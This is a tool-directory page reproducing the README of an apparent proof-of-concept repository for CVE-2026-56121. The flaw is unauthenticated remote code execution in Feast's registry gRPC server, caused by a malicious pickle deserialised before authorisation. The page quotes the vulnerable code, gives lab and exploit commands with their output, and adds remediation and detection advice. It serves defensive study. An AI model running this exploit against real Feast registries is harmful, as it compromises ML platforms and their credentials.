Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-56121-Feast-Unauth-RCE — CVE-2026-56121 — Feast <0.63.0 unauthenticated RCE via gRPC registry dill.loads of OnDemandFeatureView UDF (pre-auth). Lab + PoC, verified e2e. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-56121-feast-unauth-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationMalware AnalysisPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubbiitts/cve-2026-56121-feast-unauth-rce

CVE-2026-56121-Feast-Unauth-RCE

CVE-2026-56121 — Feast <0.63.0 unauthenticated RCE via gRPC registry dill.loads of OnDemandFeatureView UDF (pre-auth). Lab + PoC, verified e2e.

View Repository
143 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-56121 — Feast Unauthenticated RCE via gRPC Registry Deserialization

The Feast < 0.63.0 registry gRPC server dill.loads() the user-defined function of an OnDemandFeatureView as soon as a spec arrives — before any authorization check. The shipped config is auth: no_auth, so any client that can reach the registry port (default 6570) gets unauthenticated remote code execution by sending one ApplyFeatureView request with a malicious pickle.

CVECVE-2026-56121
AffectedFeast < 0.63.0
Fixed0.63.0
ClassCWE-502 (Deserialization of Untrusted Data) → RCE
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthNone (auth: no_auth default; deserialization happens pre-authorization)
Surfaceregistry gRPC RegistryServer.ApplyFeatureView (default port 6570)
StatusCONFIRMED — reproduced end-to-end against feast==0.62.0

Root cause

sdk/python/feast/registry_server.py:

def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # (1) deserialize
        ...
    assert_permissions_to_update(resource=feature_view, ...)                            # (2) authorize
    self.proxied_registry.apply_feature_view(...)

from_proto (1) is called before the permission check (2). It parses the transformation, which dill.loads() the UDF body — sdk/python/feast/transformation/pandas_transformation.py (and python_transformation.py):

@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # <-- attacker-controlled pickle
        udf_string=user_defined_function_proto.body_text,
    )

dill is a pickle superset, so dill.loads() of attacker bytes invokes the pickle __reduce__ machinery → arbitrary code execution. Because it runs before assert_permissions_to_update — and the default auth: no_auth makes that check a no-op anyway — the RCE is unauthenticated.

Reproduce

# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d

# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
#   uid=...(...)  <hostname>

Observed:

[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

The RPC ultimately errors (the unpickled object is no longer a callable UDF), but the command already ran during dill.loads() — cat /tmp/feast_pwned returns live id/uname output, proving execution rather than echo.

Impact

Anyone able to reach the Feast registry gRPC port executes arbitrary OS commands as the registry service account — full compromise of the feature store and the offline/ online stores, registries, and cloud credentials it is wired to. Feast registries are frequently exposed inside ML platforms for SDK clients to call.

Remediation

  • Upgrade to Feast ≥ 0.63.0, which adds a skip_udf path so the registry server no longer deserializes the UDF body of incoming specs.
  • Defense in depth: enable auth (oidc/kubernetes) and never expose the registry port to untrusted networks. Note that auth alone is not sufficient on < 0.63.0, because the deserialization precedes the authorization check.

Detection

Alert on ApplyFeatureView / ApplyMaterialization RPCs to the registry whose OnDemandFeatureView user_defined_function.body is not produced by a trusted client, and on registry processes spawning shells.

See ANALYSIS.md for the proto path, the deser-before-auth ordering, and the patch.


  • Author: Caio Fabrício — github.com/BiiTts
  • Vulnerability credit belongs to the original reporter / vendor advisory; this repo is an independent reproduction for defensive and educational use. For authorized security testing only.
Download Tool